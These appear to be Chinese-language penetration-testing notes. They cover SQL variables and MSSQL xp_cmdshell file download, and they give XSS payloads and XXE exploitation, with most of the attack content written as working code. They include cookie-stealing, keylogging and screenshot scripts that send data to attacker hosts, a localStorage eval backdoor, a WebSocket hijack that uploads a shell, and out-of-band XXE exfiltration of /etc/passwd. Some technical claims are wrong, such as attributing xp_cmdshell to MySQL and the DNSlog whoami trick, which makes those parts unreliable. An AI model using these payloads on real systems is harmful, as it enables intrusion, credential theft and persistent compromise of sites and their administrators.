  • 作用域:仅在当前连接会话中有效。一个用户设置的 @var_name 无法被其他用户连接访问
  • 用途:常用于存储临时数据、在多条 SQL 语句中传递值,或者在存储过程、函数中作为临时变量
    示例:
-- 在当前会话中设置一个变量
SET @total_price = 100;

-- 使用该变量进行计算
SELECT @total_price * 1.1 AS price_with_tax;

-- 在另一个新的连接中,@total_price 变量是不存在的,它的值为 NULL。

@@(系统变量)
两个 @ 符号代表系统变量(System Variables)。这些变量是 MySQL 服务器预先定义好的,用于控制服务器的各种行为和状态
系统变量分为两种:

  • 全局系统变量 (@@global.var_name):影响 MySQL 服务器的所有会话。需要有 SUPER 权限才能修改
  • 会话系统变量 (@@session.var_name 或 @@var_name):仅影响当前连接会话。它的值会继承自全局变量,但可以在会话中被单独修改,且不会影响其他会话

特点:

  • 查看:可以使用 SHOW VARIABLES 或 SELECT @@var_name 来查看
  • 修改:使用 SET 语句进行修改
  • SET GLOBAL max_connections = 200;
  • SET SESSION sql_mode = 'STRICT_TRANS_TABLES';
  • SET sql_mode = 'STRICT_TRANS_TABLES';(SESSION 是默认的)
  • 用途:管理和调整数据库的各种配置,如最大连接数、字符集、缓冲区大小、SQL 模式等

示例:

-- 查看当前会话的字符集
SELECT @@character_set_client;

-- 查看全局最大连接数
SELECT @@global.max_connections;

-- 在当前会话中改变 SQL 模式,不影响其他会话
SET sql_mode = '';

-- 在所有会话中改变 SQL 模式 (需要 SUPER 权限)
SET GLOBAL sql_mode = 'STRICT_TRANS_TABLES';

特性

@ (用户变量)

@@ (系统变量)

全称

User-Defined Variable

System Variable

创建者

用户自定义

MySQL 服务器预定义

作用域

仅当前会话

全局或当前会话

主要用途

存储临时数据,方便在多条 SQL 中传递

管理和配置服务器行为

生命周期

会话结束即失效

随服务器启动而加载

可否修改

用户随时可改

全局需要 SUPER 权限,会话可自由修改

为什么MySQL存储过程可以执行命令

1. xp_cmdshell 存储过程
这是 MySQL 中最著名,也是最危险的命令执行功能

原理
xp_cmdshell 是一个扩展存储过程(extended procedure)。它允许你在 SQL Server 内部执行操作系统的 cmd.exe 命令
当你执行 EXEC xp_cmdshell 'dir c:\' 时,SQL Server 会:

  1. 启动一个 cmd.exe 进程
  2. 将你的命令作为参数传递给 cmd.exe
  3. 将命令的输出结果以行的形式返回到 SQL Server 的结果集中

使用条件

默认情况下,从 SQL Server 2005 开始,xp_cmdshell 处于禁用状态。要成功利用它,需要满足以下两个条件:

  • 权限:你必须拥有 sysadmin 服务器角色或**CONTROL SERVER**权限,这是因为 xp_cmdshell 默认只授予这些高权限用户
  • 启用配置:xp_cmdshell 必须通过以下 SQL 命令手动启用:

``sql sp_configure 'show advanced options', 1; RECONFIGURE; sp_configure 'xp_cmdshell', 1; RECONFIGURE; ``

在渗透测试中,如果成功通过 SQL 注入或其他方式获得了高权限,你就可以执行这些命令来启用 xp_cmdshell,然后执行任意系统命令

2. 其他相关的危险存储过程
除了 xp_cmdshell,MSSQL 还有其他一些可以执行命令或辅助命令执行的存储过程,但它们不像 xp_cmdshell 那样直接
sp_addextendedproc

  • 原理:这个存储过程允许你将一个外部 DLL 文件注册为 SQL Server 的扩展存储过程
  • 用途:如果攻击者能上传一个恶意的 DLL 文件到服务器,就可以利用 sp_addextendedproc 将其注册为一个新的扩展存储过程,然后通过执行这个过程来执行恶意代码,从而绕过 xp_cmdshell 的禁用限制

CLR 集成(SQL CLR)

  • 原理:SQL Server 允许你使用 .NET 语言(如 C#)编写存储过程、函数、触发器等。这些代码可以调用 .NET 框架中的类库,包括那些可以执行系统命令的类,如 System.Diagnostics.Process
  • 用途:攻击者可以编写一个恶意的 C# 代码,将其编译成 DLL,然后加载到 SQL Server 中。这是一种更隐蔽、更强大的命令执行方法,因为它不依赖于 xp_cmdshell


如果想要通过MySQL上传文件需要开启那个存储过程的权限

1. 利用 xp_cmdshell 存储过程(最常见)

如前面所述,xp_cmdshell 是执行系统命令的利器。一旦你获得了执行 xp_cmdshell 的权限(通常是 sysadmin),就可以通过它来执行命令行下的文件上传操作

  • 所需权限:sysadmin 服务器角色或 CONTROL SERVER 权限,并且 xp_cmdshell 必须已启用
  • 实现方法:
  • 方法一:利用 certutil 下载文件 这是最常见且非常实用的方法,它利用 Windows 自带的 certutil.exe 工具来下载文件
EXEC xp_cmdshell 'certutil.exe -urlcache -split -f "http://<攻击机IP>/<文件名>" "c:\\<文件保存路径>\\<文件名>"';

这种方法的好处是,certutil 是 Windows 系统自带的,不容易被杀毒软件拦截

  • 方法二:利用 PowerShell 下载文件 使用 PowerShell 的 Invoke-WebRequest 或 Net.WebClient 方法来下载文件
EXEC xp_cmdshell 'powershell.exe -c "Invoke-WebRequest -Uri http://<攻击机IP>/<文件名> -OutFile c:\\<文件保存路径>\\<文件名>"';

或者使用更简单的别名:

EXEC xp_cmdshell 'powershell.exe -c "iwr http://<攻击机IP>/<文件名> -OutFile c:\\<文件保存路径>\\<文件名>"';
  • 方法三:利用其他命令行工具 如果目标机器上安装了 wget、curl 等工具,你也可以使用它们

2. 利用数据库的 OPENROWSET 或 BULK INSERT
这种方法相对不那么常见,但如果 xp_cmdshell 被禁用,这是一种可以尝试的备选方案。它主要利用 MSSQL 强大的文件处理能力

  • 所需权限:
  • sysadmin 或 bulkadmin 角色
  • BULK INSERT 需要对目标文件夹有写权限,并且 OPENROWSET 必须启用 Ad Hoc Distributed Queries
  • 实现方法:
  • 方法一:OPENROWSET 这种方法可以从一个共享网络路径(UNC Path)读取数据,并插入到数据库表中。虽然它主要用于数据导入,但你可以利用它将文件内容导入到数据库,再通过其他方式导出
  • 方法二:BULK INSERT 和 OPENROWSET 类似,BULK INSERT 也能从网络共享路径读取文件数据
BULK INSERT MyTable   FROM '\\<攻击机IP>\share\<文件名>'   WITH (   ROWTERMINATOR = 'EOF',   DATA_SOURCE = 'MyDataSource'   );

这种方法需要 MSSQL 服务的运行用户对网络共享路径有读取权限

3. 利用 SQL CLR 集成
这是一种高级且隐蔽的上传文件方法。如果你能够执行 SQL CLR 代码,你就可以编写一个 .NET 存储过程,该存储过程包含文件读写功能

  • 所需权限:sysadmin 或 EXTERNAL ACCESS ASSEMBLY 权限
  • 实现方法:
  • 用 C# 编写一个可以从 URL 下载文件并保存到本地的 DLL
  • 将 DLL 文件上传到服务器,或者通过 xp_cmdshell 下载
  • 使用 SQL 命令将 DLL 注册为 SQL CLR 程序集
  • 执行你编写的存储过程,实现文件上传


XSS

防御

白名单
对url实体进行编码
CSP

绕过手法

大小写混淆绕过
空白字符,换行符号和tab绕过
编码绕过,url编码
标签和属性嵌套绕过
有些过滤器可能只过滤顶层的脚本标签,但忽略嵌套的标签,属性名或属性值之间插入空格,换行符(%0a或%0d)或者Tab键(%09)来绕过
例如:

<img src="javascript:alert(1);">

可以写成,加空格
<img src=" javascript:alert(1);">

<script>alert(1)</script>

可以写成
<script%0a>alert(1)</script>

事件处理器绕过
除了最常见的onload和onerror事件,还有很多事件可以触发脚本

onmouseover
onmouseout
onclick
onfocus
onblur
onchange

使用特殊字符绕过
一些特殊字符,如反引号,反斜杠,在JavaScript的反引号可以用来包裹字符串并执行代码

xss利用

窃取cookie和session

像留言条,评论区都容易产生xss
如果是存储型且无审核,可造成大面积窃取登录信息cookie
构成盗号等风险

<script>
  document.location = 'http://attacker.com/cookie_stealer.php?c=' + document.cookie;
</script>


键盘记录

植入键盘记录器捕获当前页面键盘记录,包括用户名,密码,信息,信用卡号密码,这种方法毫无察觉


<script>
  document.onkeypress = function(e) {
    // 将用户按键信息发送到攻击者服务器
    fetch('http://attacker.com/keylogger.php?key=' + e.key);
  };
</script>

钓鱼攻击

通过xss,攻击者可以篡改网页内容,插入虚假的登陆框或提示信息,诱骗用户输入账号和密码,例如在合法的页面弹出一个伪造的登录框,提示用户“你的会话已过期,请重新登录”,用户以为是正常操作,输入这些用户信息,这些信息就会发送到攻击者的服务器上



网页挂马和恶意重定向

利用xss重定向到恶意网站,或者在当前页面加载而已脚本,例如加密勒索病毒

<script>
  window.location.href = "http://malicious-site.com";
</script>

或者加载恶意脚本

<script src="http://malicious-site.com/malware.js"></script>

绕过同源策略

虽然浏览器的同源策略限制了不同源的脚本互相访问,但在某些特定情况下,XSS 可以作为绕过同源策略的第一步。一旦在目标域上执行了脚本,攻击者就可以访问该域下的敏感数据,比如通过 AJAX 请求获取用户的私人信息

盗用 CSRF Token

许多网站使用 CSRF Token 来防御跨站请求伪造攻击。但如果存在 XSS 漏洞,攻击者可以轻松地通过 JavaScript 获取页面中的 CSRF Token,然后构造一个合法的请求(例如,转账请求),并代表用户提交

恶意代码示例:

<script>
  // 通过 AJAX 请求获取页面内容
  fetch('/user/profile').then(response => response.text()).then(html => {
    // 从 HTML 中解析 CSRF Token,并构造一个请求
    const csrfToken = html.match(/csrf-token" content="(.*?)">/)[1];
    fetch('/transfer', {
      method: 'POST',
      body: `amount=1000&to=attacker&_csrf=${csrfToken}`
    });
  });
</script>

DOM篡改

攻击者可以修改页面上的 DOM 元素,例如,隐藏或替换页面上的某些内容,或者插入广告、恶意链接等


xss怎么打内网

扫端口
最基础也最常见的利用方式。攻击者可以通过 JavaScript 构造请求(如 <img> 或 <iframe> 标签),尝试加载内网 IP 地址和端口,并根据加载成功或失败来判断端口是否开放
基本思路:

  • 加载 <img> 标签: <img> 标签的 src 属性可以指向内网 IP 和端口。如果图片能够加载成功,就说明该端口是开放的。可以通过 onerror 和 onload 事件来判断加载结果
const targetIp = '192.168.1.1';  
const targetPorts = [80, 22, 445, 8080];

targetPorts.forEach(port => {  
const img = new Image();  
img.onload = () => {  
// 端口开放  
console.log(`Port ${port} on ${targetIp} is open.`);  
// 将结果发送回攻击者服务器  
fetch(`http://attacker.com/log?ip=${targetIp}&port=${port}&status=open`);  
};  
img.onerror = () => {  
// 端口关闭或无法访问  
console.log(`Port ${port} on ${targetIp} is closed.`);  
};  
img.src = `http://${targetIp}:${port}`;  
});  
  • 加载 <iframe> 标签: <iframe> 标签可以用来加载内网页面。如果加载成功,攻击者可以通过 JavaScript 获取页面的部分内容(但受同源策略限制)

服务指纹识别
通过端口扫描后,可以确定内网中有哪些服务是开放的。接下来,可以通过 JavaScript 发送 AJAX 请求到这些服务,然后根据响应头(如 Server、X-Powered-By)或页面内容来识别服务的类型和版本

const targetUrl = 'http://192.168.1.1:8080';

fetch(targetUrl)
  .then(response => {
    // 检查响应头,获取服务信息
    const serverHeader = response.headers.get('Server');
    console.log(`Server on ${targetUrl} is: ${serverHeader}`);
    // 将结果发送回攻击者服务器
    fetch(`http://attacker.com/log?url=${targetUrl}&server=${serverHeader}`);
  })
  .catch(error => {
    console.error(`Could not connect to ${targetUrl}`);
  });

攻击内网路由器或管理后台
许多内网路由器和管理系统都存在默认密码或已知漏洞。攻击者可以利用 XSS 漏洞,在受害者浏览器中构造并发送针对这些设备的请求

示例:利用 CSRF 漏洞修改路由器密码
假设某个路由器修改密码的请求是:POST /admin/password_change,并带上参数 new_password=123456。 攻击者可以通过 JavaScript 构造一个表单并提交,或者直接用 fetch 发送请求

// 假设路由器IP是 192.168.1.1,并且修改密码的路径是 /admin/change_password
const routerIp = '192.168.1.1';
const newPassword = 'hacked_by_xss';

const formData = new FormData();
formData.append('password', newPassword);

fetch(`http://${routerIp}/admin/change_password`, {
  method: 'POST',
  body: formData
}).then(() => {
  console.log('Router password changed!');
});

HttpOnly。当一个网站允许TRACE亲求是间,可以按照下面的步骤攻击

1.构造一个恶意链接或访问一个恶意脚本の页面
2.恶意脚本向受害者的浏览器发一个TRACE请求
3.如果服务器没有正确的配置。他可能会在trace响应中包含所有HTTP请求头,包括带有httponly标志的cookie
4.恶意脚本通过js读取trace的内容,从而获取到cookie

防御:禁用HTTP的trace和track方法,现在的服务器默认禁用了这些方法


有shell的情况怎么xss实现对目标长久控制

xss劫持管理员会话

这是最直接的xss
当管理员访问xss漏洞的页面,我们的恶意js代码会执行,并窃取管理员的cookie,sessionStorage,localStorage等会话信息

实现
webshell注入
在你获取的shell页面找一个管理员经常访问的,可写入的文件,例如网站的公共js文件,后台管理页面模板等

插入payload
在改文件插入恶意js代码

fetch('http://your-evil-server.com/log.php?cookie=' + document.cookie);

获取会话
当管理员访问该页面时,他们的 cookie 就会被发送到您的服务器 log.php。您可以用这些 cookie 伪造会话,从而以管理员身份登录后台


持久化
只要您能以管理员身份登录,就可以通过后台修改网站配置,上传新的 WebShell,或者进行其他持久化操作


xss注入后台管理页面后门

这种方法更隐蔽持久,它直接在后台创建可控的后门
原理:很多后台管理管理系统允许管理员自定义页面内容,插入自定义代码或编辑模板

实现:
先进后台再说

自动化操作:
写js脚本,该脚本可以模拟管理员的点击,表单填写和提交操作

创建新用户
脚本可以模拟点击添加新用户的按钮,填写一个新的管理员账户信息
例如,用户名:backdoor,密码:pppaaasss,然后保存

修改配置文件
模拟打开系统设置,修改网站配置。允许文件上传,关闭安全限制

注入payload
自动化操作js代码注入xss页面,当管理员访问脚本会在后台静默执行,完成上述操作

xss 劫持websocket连接

如果目标网站使用了 WebSocket 来进行实时通信,这也是一个非常高明的攻击点
原理: WebSocket 是一种在客户端和服务器之间建立持久连接的协议。我们可以利用 XSS,劫持 WebSocket 连接,向服务器发送恶意指令
实现
注入websocket代码

// 假设原始 WebSocket 连接
var ws = new WebSocket("wss://target.com/websocket");
// 劫持
ws.onmessage = function(event) {
// 在这里可以拦截或修改 WebSocket 消息
console.log("Received message from server: " + event.data);
};
// 发送恶意指令
ws.onopen = function() {
// 假设服务器允许通过 WebSocket 发送命令
ws.send(JSON.stringify({ "command": "upload_shell", "path": "/uploads/backdoor.php" }));
};

持久化
当管理员访问该页面,我们可以检查LOCALstorage的标志。如果存在则执行后续的恶意操作(例如加载远程执行js文件)
 
 
 键盘记录
原理: 键盘记录器利用 JavaScript 监听 DOM 事件,例如 keydown 或 keypress,当管理员在后台页面输入账号、密码或其他敏感信息时,脚本会捕获这些按键事件,并将输入的数据发送到攻击者的服务器

// 恶意键盘记录脚本  
document.addEventListener('keydown', function(event) {  
var key = event.key;  
// 将按键数据发送到你的服务器  
fetch('http://your-evil-server.com/log.php?key=' + encodeURIComponent(key));  
});


实时数据捕获: 当管理员在后台登录表单中输入用户名和密码时,每个按键都会被记录下来,并通过 fetch 请求发送到您的服务器
持久化: 这种方法非常隐蔽,因为脚本在后台静默运行。一旦管理员登录,您不仅能获取他们的账号密码,还能实时监控他们在后台进行的任何操作,例如修改文章、上传文件等


浏览器屏幕截图

原理: 利用 HTML5 的 Canvas 和 toDataURL() 方法,我们可以截取 DOM 元素(例如整个页面)的内容,将其转换为图片数据,并发送给攻击者
实现:
注入 Payload: 在可写入的 JS 文件中注入以下代码:

// 定时截图并发送  
setInterval(function() {  
html2canvas(document.body).then(function(canvas) {  
// 将 canvas 内容转换为 base64 格式  
var imageData = canvas.toDataURL("image/png");  
// 将图片数据发送到你的服务器  
fetch('http://your-evil-server.com/screenshot.php', {  
method: 'POST',  
body: JSON.stringify({ image: imageData })  
});  
});  
}, 5000); // 每隔5秒截图一次

依赖库: 需要注意的是,这个方法通常依赖第三方库,例如 html2canvas.js。您需要将该库的 JS 文件也注入到目标网站中
实时监控: 这种方法可以直观地看到管理员在后台的操作界面,包括他们正在编辑的内容、正在上传的文件等,为您的后续攻击提供丰富的上下文信息。


利用 XSS 注入持久化 localStorage 后门

这是一种更具隐蔽性的持久化方法,它不依赖于修改网站文件,而是利用浏览器的本地存储功能
原理: 利用 localStorage 将恶意代码片段持久化存储在管理员的浏览器中
实现:
一次性注入: 找到一个XSS漏洞点(例如,一个输入框)。输入以下Payload:

<script>  
localStorage.setItem('backdoor', 'your_malicious_javascript_code');  
</script>


主页面加载器: 然后在网站的主 JS 文件中,注入一个检查 localStorage 的代码:

// 检查是否存在后门代码  
var backdoorCode = localStorage.getItem('backdoor');  
if (backdoorCode) {  
eval(backdoorCode); // 执行后门代码  
}

持久化: 只要管理员不清空浏览器缓存,即使您修改的输入框被清理了,后门代码依然会存在于 localStorage 中,并在每次页面加载时被执行


XXE

XXE漏洞利用

文件读取

可利用外部实体读取服务器上的任意文件,例如/etc/passwd ,web应用配置文件
利用原理:攻击者在XML文档中定义一个外部实体,实体的值为一个本地文件路径。当XML解析器解析该实体时,就会去读取并返回该文件的内容
利用
1.先构造恶意dtd

<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://10.88.15.58:7777?p=%file;'>">
//攻击者的服务器地址,%file;会被替换为第一步读取的/flag文件内容
%int; //引用 int 实体,注册 send 实体
%send;  //触发 send 实体,外带数据

//文件读取 + 数据外带

或者

<!DOCTYPE root [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>

2.引用实体
在 XML 文档的主体中引用该实体
例如:<data>&xxe;</data>

完整示例

<?xml version="1.0"?>  
<!DOCTYPE foo [  
<!ENTITY xxe SYSTEM "file:///etc/passwd">  
]>  
<root>  
<data>&xxe;</data>  
</root>

当服务器解析这个 XML 时,在 <data> 标签中就会回显 /etc/passwd 文件的内容

拒绝服务攻击(Dos)

利用XXE,通过递归或大量实体引用,使XML解析器进入死循环或消耗大量系统资源,从而导致服务崩溃

今典示例:十亿笑脸

<?xml version="1.0"?>  
<!DOCTYPE lolz [  
<!ENTITY lol "lol">  
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">  
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">  
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">  
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">  
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">  
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">  
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">  
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">  
]>  
<lolz>&lol9;</lolz>

这个 XML 文件虽然很小,但在解析时,<lolz> 实体会扩展为数十亿个“lol”,消耗巨大的内存和 CPU 资源,最终导致服务器崩溃


内网端口扫描

利用XXE扫描内网开发的端口

利用原理:攻击者构造外部实体,让 XML 解析器去尝试连接内网 IP 和端口。如果端口开放,XML 解析会成功或返回特定的错误信息;如果端口关闭,则会返回连接超时等错误,通过错误信息来判断端口状态

利用
定义外部实体

<!ENTITY scan SYSTEM "http://内网IP">

发送请求:让服务器去访问内网IP的端口
观察响应:如果服务器返回了“连接被拒绝”等信息,说明端口是关闭的,如果返回了“链接超时”或成功连接,则说明端口可能是开发的

观察响应:如果服务器放回来“连接被拒绝”等信息,说明端口是关闭的,如果出现连接超时或者连接成功,则说明端口可能是开放的


盲 XXE(Blind XXE)

如果服务器没有将 XML 解析结果回显到前端,攻击者就无法直接看到文件内容,这时就需要利用带外(Out-of-Band)通信来获取信息

利用原理:攻击者利用外部实体向自己的服务器发送请求,并在 URL 中携带需要读取的文件内容

利用步骤:

构造外部实体:攻击者在自己的服务器上搭建一个 HTTP 服务来监听请求
例如:

<!ENTITY % file SYSTEM "file:///etc/passwd">


<!ENTITY % exfiltrate "<!ENTITY % send SYSTEM 'http://attacker.com/?data=%file;'>">

远程引用:在主 XML 中引用攻击者的 DTD 文件

<!DOCTYPE foo SYSTEM "http://attacker.com/evil.dtd">

当服务器解析这个 DTD 时,就会将 /etc/passwd 文件的内容发送到攻击者的服务器上


XXE盲注

带外请求(OOB)

先确认是否存在XXR漏洞,即使没有回显

准备dns服务器
推荐用下面这个dnslog和ceye感觉都不怎么好用
https://requestrepo.com/

使用VPS的python的http
python3 -m http.server port

发送请求: 将上述 XML 作为请求体发送到目标服务
确认存在漏洞: 如果你的服务器收到了来自目标 IP 的 GET /test 请求,就说明服务器存在 XXE 漏洞


利用带外请求获取文件内容

确认漏洞存在后,下一步就是尝试读取服务器上的文件
攻击步骤:
构造恶意 DTD 文件: 在你的攻击服务器上,创建一个 DTD 文件(例如 evil.dtd),内容如下:

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % send SYSTEM "http://你的vpsip或者dns服务器域名.com/?data=%file;">

构造主 XML 请求:

<?xml version="1.0"?>  
<!DOCTYPE a [  
<!ENTITY % p1 SYSTEM "http://你的vpsip或者dns服务器域名/evil.dtd">  
%p1;  
%send;  
]>  
<test></test>

发送请求:
当服务器解析主 XML 文件时,它会首先请求 evil.dtd - 解析 evil.dtd 后,它会读取 file:///etc/passwd 的内容,并将其作为 %file 实体的值 - 最后,它会请求 %send 实体,将文件内容作为 GET 参数发送到你的服务器

接收数据: 
你会在你的服务器日志中看到类似 GET /?data=root:x:0:0:root:/root:/bin/bash... 的请求,从而获取 /etc/passwd 的内容

利用参数实体获取错误信息

当无法通过 HTTP GET 请求直接传输数据时,可以利用 XML 解析器的错误信息来带出数据。这种方法通常用于绕过 WAF 或一些过滤
攻击步骤:
构造恶意 DTD 文件: 在你的服务器上创建 DTD 文件,内容如下:

<!ENTITY % p1 "
<!ENTITY &#x25; oob SYSTEM 'http://你的vpsip或者dns服务器域名/?data=%file;'>
">

构造主 XML 请求:

<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % dtd SYSTEM "http://your-evil-server.com/evil.dtd">
%dtd;
%p1;
%oob;
]>
<root></root>

发送请求:

服务器解析主 XML 时,会首先加载 evil.dtd - 然后,它会尝试解析 %p1,其中包含 %oob 的定义 - 由于 %oob 实体引用了 %file,而 %file 是一个文件内容,当 XML 解析器尝试将其解析为 URL 时,会因为语法错误而失败,并抛出错误信息

这种方法的关键在于,某些 XML 解析器会把完整的错误信息(包括外部实体的内容)带回给客户端,或者将其写入服务器日志。 虽然不能直接从响应中看到,但可以利用这个特性进行注入


利用 DNSlog 获取数据

当目标服务器无法出网,或者 HTTP 协议被严格过滤时,DNSlog 是一个非常好的选择

  • 攻击步骤:
    准备 DNSlog 平台: 获取一个 DNSlog 域名,例如 hacker.dnslog.cn
    构造 XML 请求:
<?xml version="1.0"?>
<!DOCTYPE a [
<!ENTITY % p1 SYSTEM "http://whoami.hacker.dnslog.cn">
%p1;
]>
<test></test>

发送请求:
服务器解析 XML 时,会尝试解析 whoami 命令的输出,并将其作为子域名,向 hacker.dnslog.cn 发起 DNS 查询
查看结果: 你会在 DNSlog 平台的日志中看到类似 www-data.hacker.dnslog.cn 的查询记录,从而获取到 whoami 命令的输出

PCDATA 和 CDATA 的区别

PCDATA

PCDATA 是 可解析字符数据。在XML或HTML中,当解析器遇到 PCDATA 时,它会解析其中的特殊字符。这意味着,如果你的数据中包含 <、>、& 等字符,解析器会将其视为标签或实体的开始

例如,在XML中:

<note>
  <body>这是一个 &lt;b&gt;粗体&lt;/b&gt; 文本。</body>

</note>

这里的 < 会被解析成 <,> 会被解析成 >。如果你在XML元素中直接写入 <script> 标签,解析器会把它当作一个新的节点来处理,而不是纯粹的文本内容。在渗透测试中,如果一个 Web 应用将用户输入作为 PCDATA 处理,但没有进行充分的过滤,攻击者可以注入恶意代码,如 XSS (跨站脚本) 攻击

CDATA

CDATA 是 不可解析字符数据。与 PCDATA 相反,解析器会将其中的所有内容都视为纯文本,不会对 <、>、& 等特殊字符进行解析。CDATA 块通常用 <![CDATA[ ... ]]> 语法来定义

例如,在XML中:

<note>
  <script_code><![CDATA[
    if (x < 10 && y > 5) {
      alert('Hello!');
    }
  ]]></script_code>

</note>

在这个例子中,CDATA 块内的所有内容,包括 <、>、&,都会被原封不动地当作字符串来处理。即使代码中包含了类似HTML 标签的字符,解析器也不会将它们当作标签来处理。这使得 CDATA 在需要嵌入包含特殊字符的文本(如代码片段、JavaScript 等)时非常有用

特性

PCDATA (可解析字符数据)

CDATA (不可解析字符数据)

解析方式

解析特殊字符(<、>、& 等)

将所有内容视为纯文本,不解析特殊字符

主要用途

包含普通的、可解析的文本内容

包含代码、脚本或其他含有特殊字符的文本

攻击风险

高。如果对用户输入处理不当,容易导致 XSS、XML 实体注入等漏洞。

低。由于其内容被视为纯文本,它能有效防止特殊字符被解释为标签或代码。

攻击场景

当应用程序将用户输入直接放入PCDATA区域,而没有进行充分的转义时,攻击者可以注入 等代码。

除非应用程序对 CDATA 块本身进行了处理或二次解析,否则在 CDATA 内部直接进行注入攻击是无效的。